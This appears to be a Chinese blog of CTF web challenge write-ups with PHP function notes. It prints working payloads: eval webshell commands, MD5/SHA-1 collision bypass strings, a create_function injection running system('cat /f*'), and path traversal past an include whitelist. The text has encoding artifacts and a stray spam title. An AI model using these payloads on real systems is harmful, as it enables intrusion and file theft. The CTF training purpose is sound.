網(wǎng)站中的圖片必須用 做嗎網(wǎng)站建設(shè)純免費官網(wǎng)
[羊城杯 2020]easycon
????????進(jìn)來以后就是一個默認(rèn)測試頁面, 在這種默認(rèn)界面里,我覺得一般不會有什么注入點之類的,所以這里先選擇用御劍掃掃目錄看看有沒有什么存在關(guān)鍵信息的頁面
?????????掃了一半發(fā)現(xiàn),很多都是和index.php文件有關(guān),這里選擇查看該文件
訪問以后發(fā)現(xiàn)是一個彈窗
????????這個彈窗和一句話木馬很像,從其中的話分析彈窗的三個單詞,可以大致推測出,eval,命令執(zhí)行函數(shù);post,傳參方式;cmd,命令格式。這里的話考慮兩個方向,一個是,一句話木馬,看看能不能和蟻劍連接;第二種思路的話,以post傳參的格式 ,使用RCE。
??????? 思路一:
確實能連接,那么這里選擇看看文件信息先
????????遍歷了一下目錄,發(fā)現(xiàn)沒有直接和flag有關(guān)的文件,但是發(fā)現(xiàn)了一個可疑文件,即bbbbbbbbb.txt
從這個頭文件信息,其實大概就能猜到是base64轉(zhuǎn)圖片了,同時看到開頭的/9j/
,根據(jù)經(jīng)驗是base64編碼轉(zhuǎn)圖片,并且頭部缺少內(nèi)容data:image/jpg;base64,
找一個base64在線轉(zhuǎn)圖片的網(wǎng)站,加上缺少的內(nèi)容,進(jìn)行轉(zhuǎn)換,得到帶有flag的圖片
就得到了flag
思路二:
直接執(zhí)行命令,post傳參
cmd=system('ls');
tac命令查看那個文件
也可以獲得目標(biāo)文件信息,可通過同樣方式解碼獲得關(guān)鍵flag信息
[NISACTF 2022]level-up
在初始界面中沒有發(fā)現(xiàn)什么有用的信息
看看源代碼
發(fā)現(xiàn)提示有Disallow指令,說明有robots.txt文件,直接訪問看看\
發(fā)現(xiàn)有提示文件信息,再進(jìn)入
開始代碼審計
-
error_reporting(0);
:該語句關(guān)閉了 PHP 的錯誤報告,這意味著即使代碼存在錯誤,也不會將錯誤信息輸出到頁面上。這是一種常見的安全做法,但它可能會隱藏潛在的問題。(比如格式不對那些信息會提示) -
include "str.php";
:這行代碼嘗試包含名為 "str.php" 的外部文件。這意味著腳本依賴于 "str.php" 文件中的一些功能或變量。 -
if (isset($_POST['array1']) && isset($_POST['array2'])){
:檢查是否接收到了名為 "array1" 和 "array2" 的 POST 請求參數(shù)。如果兩者都存在,則執(zhí)行以下代碼塊。 -
$a1 = (string)$_POST['array1'];
和$a2 = (string)$_POST['array2'];
:將接收到的 POST 請求參數(shù)轉(zhuǎn)換為字符串并分別賦值給變量 $a1 和 $a2。 -
if ($a1 == $a2){ die("????"); }
:檢查 $a1 和 $a2 是否相等。如果相等,則輸出 "????" 并終止腳本執(zhí)行。這是一個奇怪的邏輯,因為即使相等也會導(dǎo)致腳本終止,可能是為了防止特定的情況發(fā)生。 -
if (md5($a1) === md5($a2)){ echo $level3; }
:使用 MD5 哈希算法比較 $a1 和 $a2 的哈希值是否相等。如果相等,則輸出變量 $level3 的值。這表明如果兩個字符串經(jīng)過 MD5 哈希后相等,就會顯示 $level3 的內(nèi)容。 -
else{ die("level 2 failed ..."); }
:如果以上兩個條件都不滿足,則輸出 "level 2 failed ..." 并終止腳本執(zhí)行。 -
else{ show_source(__FILE__); }
:如果沒有接收到名為 "array1" 和 "array2" 的 POST 請求參數(shù),則顯示當(dāng)前文件的源代碼。這是一種用于調(diào)試和了解腳本內(nèi)容的方法,但也可能會暴露代碼邏輯和潛在的安全問題。
??????? 這里是典型的md5類型題目,但是這里存在的問題是,因為這里是強(qiáng)匹配加字符型所以0e和[]都不行,這里要用到md5真正一樣的字符串
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2
他們的md5值相同,都是
008ee33a9d58b51cfeb425b0959121c9
因為里面有不可見字符,所以這里選擇用url編碼輸出不可見字符
payload
array1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&array2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
?得到Level___3.php
這個的話,和前一個代碼繞過有點像
但是是sha1的強(qiáng)碰撞
payload
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
得到了level_level_4.php
這里涉及到一個知識點就是parse_url()函數(shù)的使用,后面會一起整理,簡單來說,
就是請求url,并且解析url的各個部分,然后呢,get傳參,存在的問題呢就是,有一個正則,過濾掉了參數(shù)里面的_,但是我們可以用+號或者[來繞過
進(jìn)入55_5_55.php
這里的關(guān)鍵呢,就是
if(preg_match('/^[a-z0-9_]*$/isD',$a))
:使用正則表達(dá)式檢查變量 $a
中的值是否僅包含小寫字母、數(shù)字和下劃線,并且不區(qū)分大小寫。如果匹配成功,則執(zhí)行下面的代碼塊。/i
?? 不區(qū)分大小寫,/s
匹配任何不可見字符,/D如果以$限制結(jié)尾字符,則不允許結(jié)尾有換行。
/^[a-z0-9_]*$/isD
是一個正則表達(dá)式模式,含義是從字符串的開頭 ^
到結(jié)尾 $
,匹配任意數(shù)量的小寫字母、數(shù)字和下劃線,且不區(qū)分大小寫(i
標(biāo)志),并且 D
表示模式中沒有用到多行模式。
這里我也不會,看了其他師傅的wp,才發(fā)現(xiàn)要用create_function()函數(shù)來處理
????????$a在else里面可以使用create_function來創(chuàng)建一個匿名函數(shù),用/*來注釋掉后面的代碼最后的payload
大概了解之后呢,就有多種解法了
解法一:
?a=\create_function&b=}system('cat /f*'); /*
create,第一個\繞過正則,}閉合create_function,這樣就可以進(jìn)行我們想執(zhí)行的代碼
后面的/*
是為了把原本的}
符號給注釋掉,這樣就執(zhí)行了system('cat /f*')
函數(shù),這里的*號是通配符,相當(dāng)于可以查找所有以f開頭的文件
解法二:
?a=\create_function&b=}var_dump(file_get_contents("/flag"));/*
這里跟上面不一樣的一點是,這里使用了其他兩個函數(shù),這里用的是var_dump
打印函數(shù)和file_get_contents
函數(shù)一起使用來顯示/flag中的內(nèi)容(file_get_contents
()讀取文件的內(nèi)容并返回其內(nèi)容作為字符串 )
與解法一稍微不同的一點是,這里的對于flag文件的查看,不能使用通配符,因為讀取文件內(nèi)容的特性比較特定,若使用通配符,會導(dǎo)致無法準(zhǔn)確讀取,因此在得出改payload之前,還通過了scandir命令來讀取了根目錄的內(nèi)容,鎖定了flag文件的名稱,才得出了該payload
?
?
[HNCTF 2022 Week1]What is Web
web學(xué)習(xí)的思路推薦
?
因為題目標(biāo)簽給了源碼泄露,所以根據(jù)經(jīng)驗嘗試在源碼里面找一找有沒有注釋給了相關(guān)的提示,眼搓了一下,沒有特別明顯的信息,所以篩選<!看看,定位到了這里
?
解碼,得到flag
?
[HNCTF 2022 Week1]Interesting_http
題目中帶有http,猜測與http協(xié)議有關(guān)
?
用post傳參直接傳want沒用,那這里的want應(yīng)該是參數(shù),成功進(jìn)入下一個頁面,這里又給了提示
?
?替換一下1,試試看,提示不是admin
抓包看看
發(fā)現(xiàn)這個信息是在cookie頭里面,改掉
得到回顯,要本地,改一下xff
得到了flag
[HCTF 2018]Warmup
打開就是一張圖片,看看源碼,發(fā)現(xiàn)有隱藏文件
還是代碼審計
???????? 大概意思呢,就是定義了一個名為emmm的類,在該類中有一個靜態(tài)方法checkFile用于檢查要包含的文件是否在白名單中,白名單是一個關(guān)聯(lián)數(shù)組$whitelist,其中包含了允許包含的文件的鍵值對。
????????在代碼中,允許包含的文件有"source"=>"source.php"和"hint"=>"hint.php"。(白名單)
????????然后這個mb_substr函數(shù)我也不清楚,查了資料以后,大概了解了,然后里面還插了一個mb_strpos,這個mb_strpos函數(shù)嵌套在了mb_substr函數(shù)中,準(zhǔn)確說并不叫嵌套,而是將返回值作為了它的一個參數(shù)。
說明:符號點 '.' 是 PHP 中的字符串連接運算符,它用于將兩個字符串連接在一起,形成一個更長的字符串。在這里,它將 $page 變量的值和一個問號字符 '?' 連接在一起,形成一個新的字符串,在這個新的字符串中查找問號是否存在。
????????也就是說 in_array() 函數(shù)的第三個參數(shù)length肯定為正數(shù),又因為in_array() 函數(shù)的第二個參數(shù)start為0,因此會在字符串中的第一個字符處開始按照length長度進(jìn)行截取,重新賦值給page。
??????? 然后后面就是一直繞白名單,驗證白名單
??????? 先嘗試包含hint.php
??
????????得到了回顯 ,則嘗試傳入?file=hint.php?ffffllllaaaagggg,發(fā)現(xiàn)最底下什么都沒有出現(xiàn),說明傳入的方式和格式?jīng)]問題,不然會出現(xiàn)別的或者那個笑臉圖。猜測可能有后綴,嘗試txt、php等后綴,沒有變化,說明路徑可能有問題。(后面才發(fā)現(xiàn)我們始終是在source.php頁面下進(jìn)行的傳參操作,目的是利用include函數(shù)將flag文件包含出來,所以也就是說這個文件根本不在白名單里面,所以是無法通過驗證得到的)考慮路徑問題的話,按結(jié)構(gòu)來說source.php應(yīng)該是在html目錄下,往上應(yīng)該還要有www,var,根目錄,返回一下看看
??
得到了flag(這里其實四個就夠,因為四個就能返回到根目錄,但是返回到根目錄以后,就無法再往上返回,所以會停留在根目錄)
知識點:
RCE(遠(yuǎn)程代碼執(zhí)行漏洞)
????????因為應(yīng)用系統(tǒng)給了用戶提供指定的遠(yuǎn)程命令的操作,常見的比如:路由器、防火墻、入侵檢測等設(shè)備的web管理界面上。一般會給用戶提供一個ping操作的web界面,用戶通過從這些界面輸入目標(biāo)IP,提交后,后臺會對該IP地址進(jìn)行一次ping測試,并返回測試結(jié)果。 因此,如果設(shè)計者在完成該功能時,沒有做嚴(yán)格的安全控制,則可能會導(dǎo)致攻擊者通過該接口提交的命令,會反過來控制應(yīng)用系統(tǒng),當(dāng)它們在后臺進(jìn)行執(zhí)行時,甚至?xí)刂普麄€后臺服務(wù)器。常見常用的函數(shù)
還有代碼執(zhí)行函數(shù):
eval():將字符串作為php代碼執(zhí)行;
assert():將字符串作為php代碼執(zhí)行;
preg_replace():正則匹配替換字符串;
create_function():主要創(chuàng)建匿名函數(shù);
call_user_func():回調(diào)函數(shù),第一個參數(shù)為函數(shù)名,第二個參數(shù)為函數(shù)的參數(shù);
call_user_func_array():回調(diào)函數(shù),第一個參數(shù)為函數(shù)名,第二個參數(shù)為函數(shù)參數(shù)的數(shù)組;
可變函數(shù):若變量后有括號,該變量會被當(dāng)做函數(shù)名為變量值(前提是該變量值是存在的函數(shù)名)的函數(shù)執(zhí)行;
Disallow指令
??? Disallow 是指一個文件或目錄的指令,用于告訴搜索引擎不要訪問或抓取這些內(nèi)容。這通常在 robots.txt 文件中使用,該文件位于網(wǎng)站的根目錄下,它告訴搜索引擎哪些頁面可以訪問,哪些頁面應(yīng)該被忽略。
例如,如果一個網(wǎng)站有一個包含私人信息的目錄,如 /private,但不希望搜索引擎抓取這個目錄下的內(nèi)容,就可以在 robots.txt 文件中使用 Disallow 指令來限制訪問,如下所示:
User-agent: *
Disallow: /private/
在leve-up那題里面也有具體展示
parse_url
()函數(shù)
??? parse_url()
函數(shù)是 PHP 中用于解析 URL(Uniform Resource Locator)的內(nèi)置函數(shù)。它將一個完整的 URL 字符串解析成各個組成部分,并返回一個關(guān)聯(lián)數(shù)組,其中包含了 URL 的各個部分信息。
下面是 parse_url()
函數(shù)的基本語法:
php
parse_url(string $url [, int $component = -1 ] ) : mixed
$url
:需要解析的 URL 字符串。$component
(可選):一個可選的整數(shù)參數(shù),用于指定需要返回的 URL 組件。默認(rèn)值為 -1,表示返回包含所有組件信息的關(guān)聯(lián)數(shù)組。如果提供了指定的組件常量,函數(shù)將只返回該組件的值??梢允褂靡韵鲁A?#xff1a;PHP_URL_SCHEME
:URL 協(xié)議(例如 http、https)。PHP_URL_HOST
:主機(jī)名。PHP_URL_PORT
:端口號。PHP_URL_USER
:用戶名。PHP_URL_PASS
:密碼。PHP_URL_PATH
:路徑部分。PHP_URL_QUERY
:查詢字符串。PHP_URL_FRAGMENT
:片段標(biāo)識符(即 URL 中的 # 后面的部分)。
parse_url()
函數(shù)解析 URL 字符串后,返回一個關(guān)聯(lián)數(shù)組,其中包含了 URL 的各個組成部分的信息。根據(jù)提供的 URL,可以使用該數(shù)組訪問各個部分的值。例如:
$url = "https://www.example.com/path/to/page?param1=value1¶m2=value2#section";$url_components = parse_url($url);echo $url_components['scheme']; // 輸出:https
echo $url_components['host']; // 輸出:www.example.com
echo $url_components['path']; // 輸出:/path/to/page
echo $url_components['query']; // 輸出:param1=value1¶m2=value2
echo $url_components['fragment']; // 輸出:section
通過 parse_url()
函數(shù),可以方便地從 URL 字符串中提取出各個部分的信息,以便進(jìn)行處理和操作。
create_function()函數(shù)
??? create_function()
函數(shù)是 PHP 中的一個過時函數(shù),用于動態(tài)創(chuàng)建匿名函數(shù)(Anonymous Functions)。它接受兩個參數(shù):參數(shù)字符串和函數(shù)體字符串,然后返回一個匿名函數(shù)。該函數(shù)被用于在 PHP 5.3 之前創(chuàng)建匿名函數(shù),但自 PHP 7.2.0 起已被廢棄,因為它的使用存在一些潛在的安全風(fēng)險和性能問題
下面是 create_function()
函數(shù)的基本語法:
create_function(string $args, string $code) : callable|false
$args
:一個字符串,表示匿名函數(shù)的參數(shù)列表,以逗號分隔,例如'($arg1, $arg2)'
。$code
:一個字符串,表示匿名函數(shù)的函數(shù)體,即函數(shù)的具體實現(xiàn)代碼。
create_function()
函數(shù)會返回一個匿名函數(shù),或者在出現(xiàn)錯誤時返回 false
。
??????? 舉個例子,這里使用 create_function()
函數(shù)創(chuàng)建了一個匿名函數(shù),并將其賦值給變量 $add
,該函數(shù)實現(xiàn)了兩個數(shù)相加的功能:
$add = create_function('$a, $b', 'return $a + $b;');
echo $add(2, 3); // 輸出:5
var_dump
打印函數(shù)
var_dump()
是 PHP 中用于打印變量信息的函數(shù)之一。它的作用是將一個或多個變量的信息輸出到屏幕上,包括變量的數(shù)據(jù)類型和值,并且可以顯示變量的結(jié)構(gòu),對于調(diào)試和查看變量內(nèi)容非常有用。
下面是 var_dump()
函數(shù)的基本語法:
var_dump(mixed $expression [, mixed $... ] ) : void
$expression
:需要打印的變量或表達(dá)式。mixed
:表示可以接受任意類型的參數(shù)。
var_dump()
函數(shù)會打印出變量的信息,包括變量的類型和值。具體打印的內(nèi)容包括:
- 對于標(biāo)量(如整數(shù)、浮點數(shù)、字符串等):打印出變量的類型和值。
- 對于數(shù)組:打印出數(shù)組的類型、元素個數(shù)以及每個元素的鍵和值。
- 對于對象:打印出對象的類型、類名、屬性個數(shù)以及每個屬性的名稱和值。
- 對于其他類型的變量(如 NULL、資源等):打印出變量的類型。
????????var_dump()
函數(shù)的輸出比較詳細(xì),包含了變量的類型和值,以及其他相關(guān)信息,對于調(diào)試和查看變量內(nèi)容非常有幫助
file_get_contents
函數(shù)
file_get_contents()
函數(shù)是 PHP 中用于讀取文件內(nèi)容的內(nèi)置函數(shù)之一。它用于將整個文件的內(nèi)容讀取到一個字符串中,并返回該字符串。
下面是 file_get_contents()
函數(shù)的基本語法:
file_get_contents(string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = -1 [, int $maxlen = NULL ]]]]) : string|false
$filename
:需要讀取的文件名,可以是本地文件路徑或者是一個 URL。$use_include_path
(可選):一個布爾值,表示是否使用 include_path 來搜索文件。默認(rèn)為FALSE
,表示不使用 include_path。$context
(可選):一個可選的資源類型的上下文參數(shù),用于設(shè)置各種流傳輸選項或者上下文參數(shù)。$offset
(可選):一個可選的整數(shù)參數(shù),用于設(shè)置讀取文件時的偏移量(以字節(jié)為單位)。默認(rèn)為 -1,表示從文件的開頭開始讀取。$maxlen
(可選):一個可選的整數(shù)參數(shù),用于設(shè)置最大讀取的字節(jié)數(shù)。默認(rèn)為NULL
,表示讀取整個文件。
file_get_contents()
函數(shù)會將指定文件的內(nèi)容讀取到一個字符串中,并返回該字符串,如果讀取失敗,則返回 FALSE
。
??????? 其中除了本地文件之外,file_get_contents()
函數(shù)還可以用于讀取遠(yuǎn)程文件,例如網(wǎng)站上的一個 URL。但是當(dāng)file_get_contents()
函數(shù)在讀取遠(yuǎn)程文件時,需要啟用 allow_url_fopen
選項。默認(rèn)情況下,這個選項是開啟的,但在某些環(huán)境中可能被禁用。因此,在level-5的使用中,實際上是先看了phpinfo的那個是不是allow,才使用的這個函數(shù)。(另外,對于大型文件,使用 file_get_contents()
會將整個文件加載到內(nèi)存中,可能會消耗大量內(nèi)存,因此在處理大型文件時需要謹(jǐn)慎使用。)
substr()、strpos() 和in_array()函數(shù)
??????? (mb_strpos和strpos,substr和mb_substr在功能上幾乎沒什么區(qū)別)
strpos(string,find,start)函數(shù):
返回字符串在另一字符串中第一次出現(xiàn)的位置,如果沒有找到字符串則返回 FALSE。注意: 字符串位置是從 0 開始,不是從 1 開始。
參數(shù)?? ?描述
string?? ?必需。規(guī)定被搜索的字符串。
find??? 必需。規(guī)定要查找的字符。
start?? ?可選。規(guī)定開始搜索的位置。
mb_substr(str,start,length,encoding) 函數(shù):
返回字符串的一部分,對于substr() 函數(shù),它只針對英文字符, 而mb_substr()對于中文也適用。
參數(shù)?? ?描述
str?? ?必需。從該 string 中提取子字符串。
start?? ?必需。規(guī)定在字符串的何處開始。
??? 正數(shù) - 在字符串的指定位置開始
??? 負(fù)數(shù) - 在從字符串結(jié)尾的指定位置開始
??? 0 - 在字符串中的第一個字符處開始
length?? ?可選。規(guī)定要返回的字符串長度。默認(rèn)是直到字符串的結(jié)尾。
??? 正數(shù) - 從 start 參數(shù)所在的位置返回
??? 負(fù)數(shù) - 從字符串末端返回
encoding?? ?可選。字符編碼。如果省略,則使用內(nèi)部字符編碼。
in_array(search,array,type)函數(shù):
搜索數(shù)組中是否存在指定的值,找到值則返回 TRUE,否則返回 FALSE。
參數(shù)?? ?描述
search?? ?必需。規(guī)定要在數(shù)組搜索的值。
array?? ?必需。規(guī)定要搜索的數(shù)組。
type?? ?可選。如果設(shè)置該參數(shù)為 true,則檢查搜索的數(shù)據(jù)與數(shù)組的值的類型是否相同。
??? if (in_array($_page, $whitelist)) {
??????????????????? return true;
??????????????? }